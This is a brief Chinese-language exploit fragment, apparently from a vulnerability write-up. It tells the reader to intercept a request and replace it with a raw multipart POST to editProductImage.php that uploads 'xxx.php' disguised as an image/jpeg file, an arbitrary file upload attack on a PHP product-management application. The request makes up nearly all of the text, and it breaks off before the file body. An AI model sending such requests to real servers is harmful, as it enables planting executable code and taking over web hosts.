在打开页面之后进行刷新并且进行抓包,将数据包替换为如下数据包
POST /php_action/editProductImage.php?id=1 HTTP/1.1Host: ip:portUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631Content-Length: 556Connection: closeCookie: PHPSESSID=t1jo541l52f76t9upiu0pbqv0cUpgrade-Insecure-Requests: 1-----------------------------208935235035266125502673738631Content-Disposition: form-data; name="old_image"-----------------------------208935235035266125502673738631Content-Disposition: form-data; name="productImage"; filename="xxx.php"Content-Type: image/jpeg